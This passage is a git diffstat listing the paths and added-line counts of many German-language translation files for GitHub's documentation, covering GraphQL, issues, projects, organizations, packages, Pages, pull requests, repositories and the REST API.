 .../guides/managing-enterprise-accounts.md    |  300 ++++
 .../guides/migrating-from-rest-to-graphql.md  |  215 +++
 .../migrating-graphql-global-node-ids.md      |   73 +
 .../graphql/guides/using-global-node-ids.md   |  133 ++
 .../graphql/guides/using-the-explorer.md      |  155 ++
 .../using-the-graphql-api-for-discussions.md  | 1088 ++++++++++++
 translations/de-DE/content/graphql/index.md   |   42 +
 .../graphql/overview/about-the-graphql-api.md |   59 +
 .../graphql/overview/breaking-changes.md      |   29 +
 .../content/graphql/overview/changelog.md     |   20 +
 .../content/graphql/overview/explorer.md      |   21 +
 .../de-DE/content/graphql/overview/index.md   |   24 +
 .../content/graphql/overview/public-schema.md |   40 +
 .../graphql/overview/resource-limitations.md  |  239 +++
 .../graphql/overview/schema-previews.md       |   30 +
 .../de-DE/content/graphql/reference/enums.md  |   25 +
 .../de-DE/content/graphql/reference/index.md  |   27 +
 .../graphql/reference/input-objects.md        |   25 +
 .../content/graphql/reference/interfaces.md   |   25 +
 .../content/graphql/reference/mutations.md    |   23 +
 .../content/graphql/reference/objects.md      |   25 +
 .../content/graphql/reference/queries.md      |   33 +
 .../content/graphql/reference/scalars.md      |   28 +
 .../de-DE/content/graphql/reference/unions.md |   25 +
 translations/de-DE/content/index.md           |  164 ++
 translations/de-DE/content/issues/guides.md   |   34 +
 translations/de-DE/content/issues/index.md    |   83 +
 .../index.md                                  |   27 +
 .../about-automation-for-project-boards.md    |   51 +
 .../about-project-boards.md                   |   79 +
 .../changing-project-board-visibility.md      |   32 +
 .../closing-a-project-board.md                |   39 +
 ...nfiguring-automation-for-project-boards.md |   51 +
 .../copying-a-project-board.md                |   39 +
 .../creating-a-project-board.md               |  115 ++
 .../deleting-a-project-board.md               |   39 +
 .../editing-a-project-board.md                |   39 +
 .../managing-project-boards/index.md          |   32 +
 ...linking-a-repository-to-a-project-board.md |   46 +
 .../reopening-a-closed-project-board.md       |   37 +
 ...es-and-pull-requests-to-a-project-board.md |   83 +
 .../adding-notes-to-a-project-board.md        |   88 +
 .../archiving-cards-on-a-project-board.md     |   38 +
 .../filtering-cards-on-a-project-board.md     |   53 +
 .../index.md                                  |   26 +
 ...tracking-progress-on-your-project-board.md |   27 +
 .../archiving-items-automatically.md          |   57 +
 .../automating-projects-using-actions.md      |  571 +++++++
 .../automating-your-project/index.md          |   23 +
 .../using-the-api-to-manage-projects.md       |  780 +++++++++
 .../using-the-built-in-automations.md         |   28 +
 .../creating-projects/creating-a-project.md   |   44 +
 .../creating-projects/index.md                |   21 +
 .../migrating-from-projects-classic.md        |   62 +
 .../customizing-a-view.md                     |  154 ++
 .../filtering-projects.md                     |   36 +
 .../index.md                                  |   22 +
 .../managing-your-views.md                    |   77 +
 .../index.md                                  |   29 +
 .../learning-about-projects/about-projects.md |   61 +
 .../best-practices-for-projects.md            |   88 +
 .../learning-about-projects/index.md          |   21 +
 .../quickstart-for-projects.md                |  172 ++
 .../adding-items-to-your-project.md           |   90 +
 .../archiving-items-from-your-project.md      |   51 +
 .../converting-draft-issues-to-issues.md      |   38 +
 .../managing-items-in-your-project/index.md   |   22 +
 .../adding-your-project-to-a-repository.md    |   31 +
 .../adding-your-project-to-a-team.md          |   66 +
 .../closing-and-deleting-your-projects.md     |   50 +
 .../managing-your-project/index.md            |   23 +
 .../managing-access-to-your-projects.md       |  121 ++
 .../managing-visibility-of-your-projects.md   |   46 +
 .../understanding-fields/about-date-fields.md |   30 +
 .../about-iteration-fields.md                 |   82 +
 .../about-single-select-fields.md             |   47 +
 .../about-text-and-number-fields.md           |   44 +
 .../about-insights-for-projects.md            |   56 +
 .../configuring-charts.md                     |   42 +
 .../creating-charts.md                        |   25 +
 .../index.md                                  |   23 +
 .../about-issues.md                           |   62 +
 ...and-pull-requests-to-other-github-users.md |   53 +
 .../closing-an-issue.md                       |   35 +
 .../creating-a-branch-for-an-issue.md         |   40 +
 .../creating-an-issue.md                      |  156 ++
 .../deleting-an-issue.md                      |   38 +
 ...-and-searching-issues-and-pull-requests.md |  230 +++
 .../tracking-your-work-with-issues/index.md   |   38 +
 .../linking-a-pull-request-to-an-issue.md     |  105 ++
 ...-issues-or-pull-requests-as-a-duplicate.md |   35 +
 .../pinning-an-issue-to-your-repository.md    |   30 +
 ...-tracking-work-for-your-team-or-project.md |  132 ++
 .../quickstart.md                             |  104 ++
 ...sferring-an-issue-to-another-repository.md |   67 +
 ...ng-all-of-your-issues-and-pull-requests.md |   35 +
 .../about-milestones.md                       |   53 +
 ...ilestones-with-issues-and-pull-requests.md |   39 +
 ...milestones-for-issues-and-pull-requests.md |   48 +
 ...g-issues-and-pull-requests-by-milestone.md |   41 +
 .../index.md                                  |   28 +
 .../managing-labels.md                        |  101 ++
 .../viewing-your-milestones-progress.md       |   36 +
 .../about-organizations.md                    |   59 +
 .../about-your-organization-dashboard.md      |   56 +
 .../about-your-organizations-news-feed.md     |   30 +
 .../accessing-your-organizations-settings.md  |   39 +
 ...reating-a-new-organization-from-scratch.md |   30 +
 .../customizing-your-organizations-profile.md |   93 +
 .../index.md                                  |   33 +
 .../viewing-insights-for-your-organization.md |   75 +
 .../about-team-discussions.md                 |   63 +
 .../creating-a-team-discussion.md             |   37 +
 .../editing-or-deleting-a-team-discussion.md  |   34 +
 .../collaborating-with-your-team/index.md     |   28 +
 .../pinning-a-team-discussion.md              |   30 +
 ...-authentication-and-saml-single-sign-on.md |   26 +
 .../index.md                                  |   24 +
 ...rvice-accounts-with-saml-single-sign-on.md |   30 +
 ...embers-saml-access-to-your-organization.md |   76 +
 .../de-DE/content/organizations/index.md      |   59 +
 .../keeping-your-organization-secure/index.md |   21 +
 ...ompliance-reports-for-your-organization.md |   38 +
 .../index.md                                  |   26 +
 ...owed-ip-addresses-for-your-organization.md |  113 ++
 ...analysis-settings-for-your-organization.md |  166 ++
 ...ail-notifications-for-your-organization.md |   51 +
 ...ing-the-audit-log-for-your-organization.md |  871 ++++++++++
 .../index.md                                  |   23 +
 ...tor-authentication-in-your-organization.md |   31 +
 ...tor-authentication-in-your-organization.md |   82 +
 ...s-in-your-organization-have-2fa-enabled.md |   39 +
 ...to-a-project-board-in-your-organization.md |   31 +
 .../index.md                                  |   32 +
 ...-project-board-for-organization-members.md |   46 +
 ...access-to-an-organization-project-board.md |   54 +
 ...access-to-an-organization-project-board.md |   68 +
 ...t-board-permissions-for-an-organization.md |   56 +
 ...ator-from-an-organization-project-board.md |   27 +
 .../about-ssh-certificate-authorities.md      |   71 +
 .../index.md                                  |   26 +
 ...ganizations-ssh-certificate-authorities.md |   39 +
 .../adding-people-to-your-organization.md     |   30 +
 ...-accounts-for-people-in-my-organization.md |   34 +
 ...an-invitation-to-join-your-organization.md |   37 +
 ...ember-information-for-your-organization.md |   33 +
 .../index.md                                  |   32 +
 ...nviting-users-to-join-your-organization.md |   42 +
 ...ng-a-former-member-of-your-organization.md |   82 +
 ...emoving-a-member-from-your-organization.md |   72 +
 ...e-to-delete-issues-in-your-organization.md |   27 +
 ...visibility-changes-in-your-organization.md |   40 +
 ...-your-organizations-dependency-insights.md |   26 +
 ...artifacts-and-logs-in-your-organization.md |   24 +
 .../converting-an-organization-into-a-user.md |   48 +
 .../deleting-an-organization-account.md       |   44 +
 ...ights-for-projects-in-your-organization.md |   32 +
 ...ng-github-actions-for-your-organization.md |  190 +++
 ...ing-project-boards-in-your-organization.md |   45 +
 ...-github-discussions-for-an-organization.md |   31 +
 .../managing-organization-settings/index.md   |   55 +
 ...ra-with-your-organization-project-board.md |   38 +
 ...auth-app-and-github-app-access-requests.md |   29 +
 ...s-for-repositories-in-your-organization.md |   58 +
 ...n-for-repositories-in-your-organization.md |   32 +
 ...ll-request-reviews-in-your-organization.md |   33 +
 ...heduled-reminders-for-your-organization.md |   42 +
 ...it-signoff-policy-for-your-organization.md |   26 +
 ...e-for-repositories-in-your-organization.md |   40 +
 ...ay-of-member-names-in-your-organization.md |   33 +
 ...he-forking-policy-for-your-organization.md |   44 +
 ...ithub-pages-sites-for-your-organization.md |   47 +
 ...rom-accounts-your-organization-sponsors.md |   35 +
 .../renaming-an-organization.md               |   55 +
 ...epository-creation-in-your-organization.md |   53 +
 ...visibility-changes-in-your-organization.md |   34 +
 ...ssions-for-adding-outside-collaborators.md |   37 +
 ...r-deleting-or-transferring-repositories.md |   26 +
 ...eation-permissions-in-your-organization.md |   27 +
 .../transferring-organization-ownership.md    |   42 +
 ...ading-to-the-corporate-terms-of-service.md |   35 +
 ...pproving-a-domain-for-your-organization.md |   93 +
 .../about-custom-repository-roles.md          |  135 ++
 ...-a-billing-manager-to-your-organization.md |   74 +
 .../index.md                                  |   33 +
 ...ership-continuity-for-your-organization.md |   50 +
 ...om-repository-roles-for-an-organization.md |   60 +
 ...anaging-moderators-in-your-organization.md |   44 +
 ...-security-managers-in-your-organization.md |   55 +
 ...-billing-manager-from-your-organization.md |   30 +
 .../roles-in-an-organization.md               |  237 +++
 ...onal-access-tokens-in-your-organization.md |   40 +
 ...onal-access-tokens-in-your-organization.md |   37 +
 ...cess-token-policy-for-your-organization.md |   59 +
 ...ess-management-with-saml-single-sign-on.md |   80 +
 .../about-scim-for-organizations.md           |   53 +
 ...f-your-identity-provider-is-unavailable.md |   28 +
 ...saml-single-sign-on-and-scim-using-okta.md |   64 +
 ...-identity-provider-to-your-organization.md |   45 +
 ...ions-saml-single-sign-on-recovery-codes.md |   37 +
 ...ml-single-sign-on-for-your-organization.md |   68 +
 ...ml-single-sign-on-for-your-organization.md |   52 +
 .../index.md                                  |   33 +
 ...m-synchronization-for-your-organization.md |  102 ++
 ...aml-single-sign-on-in-your-organization.md |   32 +
 ...access-management-for-your-organization.md |  104 ++
 .../repository-roles-for-an-organization.md   |  175 ++
 ...am-to-improved-organization-permissions.md |   39 +
 ...am-to-improved-organization-permissions.md |   56 +
 .../index.md                                  |   29 +
 ...ms-to-improved-organization-permissions.md |   48 +
 .../about-teams.md                            |   82 +
 .../adding-organization-members-to-a-team.md  |   35 +
 ...e-team-maintainer-role-to-a-team-member.md |   52 +
 .../changing-team-visibility.md               |   36 +
 .../creating-a-team.md                        |   38 +
 .../deleting-a-team.md                        |   34 +
 ...-team-discussions-for-your-organization.md |   25 +
 .../organizing-members-into-teams/index.md    |   48 +
 ...ging-code-review-settings-for-your-team.md |  103 ++
 ...aging-scheduled-reminders-for-your-team.md |   41 +
 ...-a-team-in-your-organizations-hierarchy.md |   49 +
 ...moving-organization-members-from-a-team.md |   30 +
 .../renaming-a-team.md                        |   25 +
 .../requesting-to-add-a-child-team.md         |   45 +
 ...questing-to-add-or-change-a-parent-team.md |   43 +
 .../setting-your-teams-profile-picture.md     |   30 +
 ...-a-team-with-an-identity-provider-group.md |  100 ++
 translations/de-DE/content/packages/index.md  |   48 +
 .../about-permissions-for-github-packages.md  |   89 +
 ...-packages-access-control-and-visibility.md |  181 ++
 .../connecting-a-repository-to-a-package.md   |   85 +
 .../deleting-and-restoring-a-package.md       |  253 +++
 .../packages/learn-github-packages/index.md   |   32 +
 .../installing-a-package.md                   |   33 +
 .../introduction-to-github-packages.md        |  137 ++
 .../publishing-a-package.md                   |   41 +
 .../learn-github-packages/viewing-packages.md |   69 +
 ...bout-github-packages-and-github-actions.md |   19 +
 ...mple-workflows-for-publishing-a-package.md |   24 +
 .../index.md                                  |   21 +
 ...nstalling-a-package-with-github-actions.md |  568 ++++++
 .../de-DE/content/packages/quickstart.md      |  136 ++
 .../index.md                                  |   32 +
 ...ainer-registry-from-the-docker-registry.md |   69 +
 .../working-with-the-apache-maven-registry.md |  194 +++
 .../working-with-the-container-registry.md    |  166 ++
 .../working-with-the-docker-registry.md       |  268 +++
 .../working-with-the-gradle-registry.md       |  219 +++
 .../working-with-the-npm-registry.md          |  233 +++
 .../working-with-the-nuget-registry.md        |  239 +++
 .../working-with-the-rubygems-registry.md     |  157 ++
 .../about-custom-domains-and-github-pages.md  |   71 +
 .../index.md                                  |   33 +
 ...ustom-domain-for-your-github-pages-site.md |  155 ++
 ...hooting-custom-domains-and-github-pages.md |   77 +
 ...ing-your-custom-domain-for-github-pages.md |   52 +
 .../about-github-pages.md                     |  151 ++
 ...he-visibility-of-your-github-pages-site.md |   49 +
 ...shing-source-for-your-github-pages-site.md |  100 ++
 ...tom-404-page-for-your-github-pages-site.md |   38 +
 .../creating-a-github-pages-site.md           |   71 +
 .../index.md                                  |   34 +
 ...uring-your-github-pages-site-with-https.md |   70 +
 .../unpublishing-a-github-pages-site.md       |   52 +
 .../using-submodules-with-github-pages.md     |   31 +
 translations/de-DE/content/pages/index.md     |   59 +
 .../de-DE/content/pages/quickstart.md         |   58 +
 .../about-github-pages-and-jekyll.md          |  137 ++
 ...yll-build-errors-for-github-pages-sites.md |   91 +
 ...-to-your-github-pages-site-using-jekyll.md |   74 +
 ...-to-your-github-pages-site-using-jekyll.md |   71 +
 ...reating-a-github-pages-site-with-jekyll.md |  132 ++
 .../index.md                                  |   34 +
 ...for-your-github-pages-site-using-jekyll.md |   40 +
 ...r-github-pages-site-locally-with-jekyll.md |   75 +
 ...yll-build-errors-for-github-pages-sites.md |  198 +++
 .../about-merge-conflicts.md                  |   50 +
 .../addressing-merge-conflicts/index.md       |   27 +
 .../resolving-a-merge-conflict-on-github.md   |   67 +
 ...a-merge-conflict-using-the-command-line.md |  131 ++
 .../about-status-checks.md                    |   89 +
 .../index.md                                  |   27 +
 .../working-with-pre-receive-hooks.md         |   39 +
 .../about-collaborative-development-models.md |   43 +
 .../getting-started/index.md                  |   28 +
 .../about-pull-request-merges.md              |   90 +
 .../automatically-merging-a-pull-request.md   |   63 +
 .../closing-a-pull-request.md                 |   33 +
 .../index.md                                  |   30 +
 ...rging-a-pull-request-with-a-merge-queue.md |   77 +
 .../merging-a-pull-request.md                 |  104 ++
 .../reverting-a-pull-request.md               |   44 +
 .../collaborating-with-pull-requests/index.md |   35 +
 .../about-branches.md                         |   87 +
 ...out-comparing-branches-in-pull-requests.md |   97 ++
 .../about-pull-requests.md                    |   81 +
 ...nging-the-base-branch-of-a-pull-request.md |   46 +
 .../changing-the-stage-of-a-pull-request.md   |   54 +
 ...pull-request-branch-created-from-a-fork.md |   95 ++
 .../creating-a-pull-request-from-a-fork.md    |   45 +
 .../creating-a-pull-request.md                |  176 ++
 ...eleting-branches-within-your-repository.md |   82 +
 .../index.md                                  |   36 +
 ...ll-request-in-sync-with-the-base-branch.md |   56 +
 .../requesting-a-pull-request-review.md       |   53 +
 ...ery-parameters-to-create-a-pull-request.md |   41 +
 .../about-pull-request-reviews.md             |   73 +
 ...ng-a-pull-request-with-required-reviews.md |   47 +
 .../checking-out-pull-requests-locally.md     |  105 ++
 .../commenting-on-a-pull-request.md           |   67 +
 .../dismissing-a-pull-request-review.md       |   39 +
 .../filtering-files-in-a-pull-request.md      |   66 +
 ...methods-and-functions-in-a-pull-request.md |   52 +
 ...rporating-feedback-in-your-pull-request.md |   58 +
 .../index.md                                  |   36 +
 ...ng-dependency-changes-in-a-pull-request.md |   88 +
 ...wing-proposed-changes-in-a-pull-request.md |  124 ++
 .../viewing-a-pull-request-review.md          |   36 +
 .../working-with-forks/about-forks.md         |   45 +
 ...pull-request-branch-created-from-a-fork.md |   43 +
 .../configuring-a-remote-for-a-fork.md        |   42 +
 .../working-with-forks/index.md               |   28 +
 .../working-with-forks/syncing-a-fork.md      |  105 ++
 ...sitory-is-deleted-or-changes-visibility.md |   88 +
 .../about-commits.md                          |   73 +
 .../changing-a-commit-message.md              |  124 ++
 ...g-a-commit-on-behalf-of-an-organization.md |   74 +
 ...creating-a-commit-with-multiple-authors.md |   90 +
 .../creating-and-editing-commits/index.md     |   25 +
 .../index.md                                  |   26 +
 ...sts-on-github-but-not-in-my-local-clone.md |   92 +
 .../troubleshooting-commits/index.md          |   22 +
 ...are-my-commits-linked-to-the-wrong-user.md |   58 +
 .../comparing-commits.md                      |   73 +
 .../differences-between-commit-views.md       |   39 +
 .../viewing-and-comparing-commits/index.md    |   23 +
 .../de-DE/content/pull-requests/index.md      |   42 +
 ...ut-archiving-content-and-data-on-github.md |   42 +
 .../archiving-repositories.md                 |   68 +
 .../backing-up-a-repository.md                |   45 +
 .../archiving-a-github-repository/index.md    |   29 +
 .../referencing-and-citing-content.md         |   39 +
 .../about-merge-methods-on-github.md          |   50 +
 ...guring-commit-merging-for-pull-requests.md |   32 +
 ...uring-commit-rebasing-for-pull-requests.md |   28 +
 ...ring-commit-squashing-for-pull-requests.md |   38 +
 .../configuring-pull-request-merges/index.md  |   25 +
 .../managing-a-merge-queue.md                 |   69 +
 ...ge-for-pull-requests-in-your-repository.md |   29 +
 ...estions-to-update-pull-request-branches.md |   26 +
 ...ging-the-automatic-deletion-of-branches.md |   26 +
 .../about-protected-branches.md               |  214 +++
 .../index.md                                  |   29 +
 .../managing-a-branch-protection-rule.md      |  153 ++
 .../troubleshooting-required-status-checks.md |  122 ++
 .../index.md                                  |   23 +
 .../changing-the-default-branch.md            |   52 +
 ...nd-restoring-branches-in-a-pull-request.md |   49 +
 .../index.md                                  |   27 +
 .../renaming-a-branch.md                      |   53 +
 .../viewing-branches-in-your-repository.md    |   37 +
 .../about-repositories.md                     |  142 ++
 .../cloning-a-repository.md                   |   97 ++
 .../creating-a-new-repository.md              |   58 +
 .../creating-a-repository-from-a-template.md  |   57 +
 .../creating-a-template-repository.md         |   36 +
 .../creating-an-issues-only-repository.md     |   32 +
 .../deleting-a-repository.md                  |   40 +
 .../duplicating-a-repository.md               |  110 ++
 .../index.md                                  |   36 +
 .../renaming-a-repository.md                  |   60 +
 .../restoring-a-deleted-repository.md         |   56 +
 .../transferring-a-repository.md              |   91 +
 .../troubleshooting-cloning-errors.md         |  186 ++
 .../de-DE/content/repositories/index.md       |   49 +
 .../about-citation-files.md                   |  185 ++
 .../about-code-owners.md                      |  140 ++
 .../about-readmes.md                          |   69 +
 .../about-repository-languages.md             |   34 +
 ...classifying-your-repository-with-topics.md |   49 +
 ...g-your-repositorys-social-media-preview.md |   48 +
 ...ing-a-sponsor-button-in-your-repository.md |   88 +
 .../customizing-your-repository/index.md      |   28 +
 .../licensing-a-repository.md                 |   98 ++
 .../disabling-issues.md                       |   38 +
 ...isabling-project-boards-in-a-repository.md |   31 +
 ...ing-github-discussions-for-a-repository.md |   30 +
 .../index.md                                  |   25 +
 ...ithub-actions-settings-for-a-repository.md |  208 +++
 ...d-analysis-settings-for-your-repository.md |  118 ++
 .../index.md                                  |   27 +
 ...fications-for-pushes-to-your-repository.md |   49 +
 ...tolinks-to-reference-external-resources.md |   54 +
 .../configuring-tag-protection-rules.md       |   35 +
 ...nymous-git-read-access-for-a-repository.md |   28 +
 .../managing-repository-settings/index.md     |   31 +
 ...-objects-in-archives-of-your-repository.md |   33 +
 ...pull-request-reviews-in-your-repository.md |   34 +
 ...d-people-with-access-to-your-repository.md |   85 +
 ...mmit-signoff-policy-for-your-repository.md |   29 +
 ...-the-forking-policy-for-your-repository.md |   34 +
 .../setting-repository-visibility.md          |  104 ++
 .../about-releases.md                         |   59 +
 .../automatically-generated-release-notes.md  |   99 ++
 ...for-release-forms-with-query-parameters.md |   42 +
 .../comparing-releases.md                     |   29 +
 .../releasing-projects-on-github/index.md     |   32 +
 .../linking-to-releases.md                    |   30 +
 .../managing-releases-in-a-repository.md      |  175 ++
 .../searching-a-repositorys-releases.md       |   37 +
 ...wing-your-repositorys-releases-and-tags.md |   44 +
 .../about-repository-graphs.md                |   37 +
 ...lyzing-changes-to-a-repositorys-content.md |   63 +
 .../index.md                                  |   33 +
 ...anding-connections-between-repositories.md |   80 +
 .../viewing-a-projects-contributors.md        |   52 +
 ...iewing-a-summary-of-repository-activity.md |   38 +
 ...deployment-activity-for-your-repository.md |   40 +
 .../viewing-traffic-to-a-repository.md        |   38 +
 .../repositories/working-with-files/index.md  |   28 +
 .../adding-a-file-to-a-repository.md          |   76 +
 .../managing-files/creating-new-files.md      |   37 +
 ...zing-how-changed-files-appear-on-github.md |   36 +
 .../deleting-files-in-a-repository.md         |   47 +
 .../managing-files/editing-files.md           |   59 +
 .../managing-files/index.md                   |   31 +
 .../moving-a-file-to-a-new-location.md        |   97 ++
 .../managing-files/renaming-a-file.md         |   75 +
 .../about-git-large-file-storage.md           |   65 +
 .../about-large-files-on-github.md            |  106 ++
 .../about-storage-and-bandwidth-usage.md      |   54 +
 ...llaboration-with-git-large-file-storage.md |   52 +
 .../configuring-git-large-file-storage.md     |   76 +
 .../managing-large-files/index.md             |   33 +
 .../installing-git-large-file-storage.md      |  122 ++
 ...ur-repository-to-git-large-file-storage.md |   38 +
 ...oving-files-from-git-large-file-storage.md |   62 +
 ...-git-large-file-storage-upload-failures.md |   33 +
 .../getting-permanent-links-to-files.md       |   57 +
 .../working-with-files/using-files/index.md   |   21 +
 .../using-files/navigating-code-on-github.md  |   84 +
 .../using-files/viewing-a-file.md             |   94 +
 .../working-with-non-code-files.md            |  382 +++++
 translations/de-DE/content/rest/README.md     |   18 +
 .../de-DE/content/rest/actions/artifacts.md   |   24 +
 .../de-DE/content/rest/actions/cache.md       |   21 +
 .../de-DE/content/rest/actions/index.md       |   33 +
 .../de-DE/content/rest/actions/oidc.md        |   18 +
 .../de-DE/content/rest/actions/permissions.md |   22 +
 .../de-DE/content/rest/actions/secrets.md     |   24 +
 .../rest/actions/self-hosted-runner-groups.md |   22 +
 .../rest/actions/self-hosted-runners.md       |   22 +
 .../content/rest/actions/workflow-jobs.md     |   22 +
 .../content/rest/actions/workflow-runs.md     |   22 +
 .../de-DE/content/rest/actions/workflows.md   |   22 +
 .../de-DE/content/rest/activity/events.md     |   38 +
 .../de-DE/content/rest/activity/feeds.md      |   83 +
 .../de-DE/content/rest/activity/index.md      |   28 +
 .../content/rest/activity/notifications.md    |   63 +
 .../de-DE/content/rest/activity/starring.md   |   33 +
 .../de-DE/content/rest/activity/watching.md   |   21 +
 translations/de-DE/content/rest/apps/apps.md  |   30 +
 translations/de-DE/content/rest/apps/index.md |   28 +
 .../de-DE/content/rest/apps/installations.md  |   25 +
 .../de-DE/content/rest/apps/marketplace.md    |   31 +
 .../content/rest/apps/oauth-applications.md   |   17 +
 .../de-DE/content/rest/apps/webhooks.md       |   23 +
 translations/de-DE/content/rest/billing.md    |   22 +
 .../rest/branches/branch-protection.md        |   20 +
 .../de-DE/content/rest/branches/branches.md   |   19 +
 .../de-DE/content/rest/branches/index.md      |   25 +
 .../de-DE/content/rest/checks/index.md        |   25 +
 .../de-DE/content/rest/checks/runs.md         |   20 +
 .../de-DE/content/rest/checks/suites.md       |   24 +
 .../de-DE/content/rest/code-scanning.md       |   37 +
 .../de-DE/content/rest/codes-of-conduct.md    |   23 +
 .../content/rest/codespaces/codespaces.md     |   14 +
 .../de-DE/content/rest/codespaces/index.md    |   26 +
 .../de-DE/content/rest/codespaces/machines.md |   23 +
 .../content/rest/codespaces/organizations.md  |   21 +
 .../rest/codespaces/repository-secrets.md     |   22 +
 .../de-DE/content/rest/codespaces/secrets.md  |   21 +
 .../rest/collaborators/collaborators.md       |   19 +
 .../de-DE/content/rest/collaborators/index.md |   25 +
 .../content/rest/collaborators/invitations.md |   27 +
 .../de-DE/content/rest/commits/comments.md    |   33 +
 .../de-DE/content/rest/commits/commits.md     |   19 +
 .../de-DE/content/rest/commits/index.md       |   26 +
 .../de-DE/content/rest/commits/statuses.md    |   30 +
 .../de-DE/content/rest/dependabot/index.md    |   18 +
 .../de-DE/content/rest/dependabot/secrets.md  |   23 +
 .../dependency-graph/dependency-review.md     |   22 +
 .../dependency-graph/dependency-submission.md |   22 +
 .../content/rest/dependency-graph/index.md    |   24 +
 .../de-DE/content/rest/deploy-keys.md         |   26 +
 .../rest/deployments/branch-policies.md       |   25 +
 .../content/rest/deployments/deployments.md   |   62 +
 .../content/rest/deployments/environments.md  |   25 +
 .../de-DE/content/rest/deployments/index.md   |   27 +
 .../content/rest/deployments/statuses.md      |   20 +
 translations/de-DE/content/rest/emojis.md     |   21 +
 .../rest/enterprise-admin/admin-stats.md      |   16 +
 .../rest/enterprise-admin/announcement.md     |   16 +
 .../rest/enterprise-admin/audit-log.md        |   18 +
 .../content/rest/enterprise-admin/billing.md  |   13 +
 .../rest/enterprise-admin/global-webhooks.md  |   16 +
 .../content/rest/enterprise-admin/index.md    |   84 +
 .../content/rest/enterprise-admin/ldap.md     |   13 +
 .../content/rest/enterprise-admin/license.md  |   15 +
 .../enterprise-admin/management-console.md    |   37 +
 .../enterprise-admin/org-pre-receive-hooks.md |   25 +
 .../content/rest/enterprise-admin/orgs.md     |   15 +
 .../pre-receive-environments.md               |   36 +
 .../enterprise-admin/pre-receive-hooks.md     |   29 +
 .../repo-pre-receive-hooks.md                 |   24 +
 .../content/rest/enterprise-admin/scim.md     |   74 +
 .../content/rest/enterprise-admin/users.md    |   14 +
 .../de-DE/content/rest/gists/comments.md      |   32 +
 .../de-DE/content/rest/gists/gists.md         |   44 +
 .../de-DE/content/rest/gists/index.md         |   25 +
 translations/de-DE/content/rest/git/blobs.md  |   32 +
 .../de-DE/content/rest/git/commits.md         |   23 +
 translations/de-DE/content/rest/git/index.md  |   29 +
 translations/de-DE/content/rest/git/refs.md   |   23 +
 translations/de-DE/content/rest/git/tags.md   |   23 +
 translations/de-DE/content/rest/git/trees.md  |   23 +
 translations/de-DE/content/rest/gitignore.md  |   26 +
 .../rest/guides/basics-of-authentication.md   |  320 ++++
 .../guides/best-practices-for-integrators.md  |  171 ++
 .../rest/guides/building-a-ci-server.md       |  167 ++
 .../rest/guides/delivering-deployments.md     |  180 ++
 .../discovering-resources-for-a-user.md       |  115 ++
 .../getting-started-with-the-checks-api.md    |   86 +
 ...tting-started-with-the-git-database-api.md |   55 +
 .../getting-started-with-the-rest-api.md      |  783 +++++++++
 .../de-DE/content/rest/guides/index.md        |   35 +
 .../rest/guides/rendering-data-as-graphs.md   |  346 ++++
 .../rest/guides/traversing-with-pagination.md |  350 ++++
 .../rest/guides/working-with-comments.md      |  129 ++
 translations/de-DE/content/rest/index.md      |   88 +
 .../de-DE/content/rest/interactions/index.md  |   24 +
 .../de-DE/content/rest/interactions/orgs.md   |   27 +
 .../de-DE/content/rest/interactions/repos.md  |   27 +
 .../de-DE/content/rest/interactions/user.md   |   27 +
 .../de-DE/content/rest/issues/assignees.md    |   23 +
 .../de-DE/content/rest/issues/comments.md     |   25 +
 .../de-DE/content/rest/issues/events.md       |   25 +
 .../de-DE/content/rest/issues/index.md        |   30 +
 .../de-DE/content/rest/issues/issues.md       |   21 +
 .../de-DE/content/rest/issues/labels.md       |   21 +
 .../de-DE/content/rest/issues/milestones.md   |   19 +
 .../de-DE/content/rest/issues/timeline.md     |   27 +
 translations/de-DE/content/rest/licenses.md   |   42 +
 translations/de-DE/content/rest/markdown.md   |   21 +
 translations/de-DE/content/rest/meta.md       |   21 +
 .../de-DE/content/rest/metrics/community.md   |   19 +
 .../de-DE/content/rest/metrics/index.md       |   27 +
 .../de-DE/content/rest/metrics/statistics.md  |   37 +
 .../de-DE/content/rest/metrics/traffic.md     |   21 +
 .../de-DE/content/rest/migrations/index.md    |   28 +
 .../de-DE/content/rest/migrations/orgs.md     |   25 +
 .../content/rest/migrations/source-imports.md |   91 +
 .../de-DE/content/rest/migrations/users.md    |   29 +
 .../content/rest/oauth-authorizations.md      |   22 +
 .../de-DE/content/rest/orgs/blocking.md       |   18 +
 .../de-DE/content/rest/orgs/custom-roles.md   |   21 +
 translations/de-DE/content/rest/orgs/index.md |   31 +
 .../de-DE/content/rest/orgs/members.md        |   21 +
 translations/de-DE/content/rest/orgs/orgs.md  |   20 +
 .../rest/orgs/outside-collaborators.md        |   19 +
 .../content/rest/orgs/security-managers.md    |   21 +
 .../de-DE/content/rest/orgs/webhooks.md       |   44 +
 .../content/rest/overview/api-previews.md     |   29 +
 ...for-fine-grained-personal-access-tokens.md |  829 +++++++++
 .../endpoints-available-for-github-apps.md    |   23 +
 .../de-DE/content/rest/overview/index.md      |   31 +
 .../de-DE/content/rest/overview/libraries.md  |  160 ++
 .../content/rest/overview/media-types.md      |  134 ++
 .../rest/overview/openapi-description.md      |   35 +
 .../overview/other-authentication-methods.md  |  152 ++
 ...for-fine-grained-personal-access-tokens.md |  733 ++++++++
 .../permissions-required-for-github-apps.md   |  973 +++++++++++
 .../overview/resources-in-the-rest-api.md     |  723 ++++++++
 .../content/rest/overview/troubleshooting.md  |   71 +
 translations/de-DE/content/rest/packages.md   |   25 +
 translations/de-DE/content/rest/pages.md      |   21 +
 .../de-DE/content/rest/projects/cards.md      |   21 +
 .../content/rest/projects/collaborators.md    |   21 +
 .../de-DE/content/rest/projects/columns.md    |   21 +
 .../de-DE/content/rest/projects/index.md      |   28 +
 .../de-DE/content/rest/projects/projects.md   |   18 +
 .../de-DE/content/rest/pulls/comments.md      |   34 +
 .../de-DE/content/rest/pulls/index.md         |   27 +
 .../de-DE/content/rest/pulls/pulls.md         |   53 +
 .../content/rest/pulls/review-requests.md     |   21 +
 .../de-DE/content/rest/pulls/reviews.md       |   23 +
 translations/de-DE/content/rest/quickstart.md |  351 ++++
 translations/de-DE/content/rest/rate-limit.md |   39 +
 translations/de-DE/content/rest/reactions.md  |   25 +
 .../de-DE/content/rest/releases/assets.md     |   20 +
 .../de-DE/content/rest/releases/index.md      |   25 +
 .../de-DE/content/rest/releases/releases.md   |   23 +
 .../de-DE/content/rest/repos/autolinks.md     |   25 +
 .../de-DE/content/rest/repos/contents.md      |   42 +
 .../de-DE/content/rest/repos/forks.md         |   19 +
 .../de-DE/content/rest/repos/index.md         |   30 +
 translations/de-DE/content/rest/repos/lfs.md  |   42 +
 .../de-DE/content/rest/repos/repos.md         |   20 +
 translations/de-DE/content/rest/repos/tags.md |   20 +
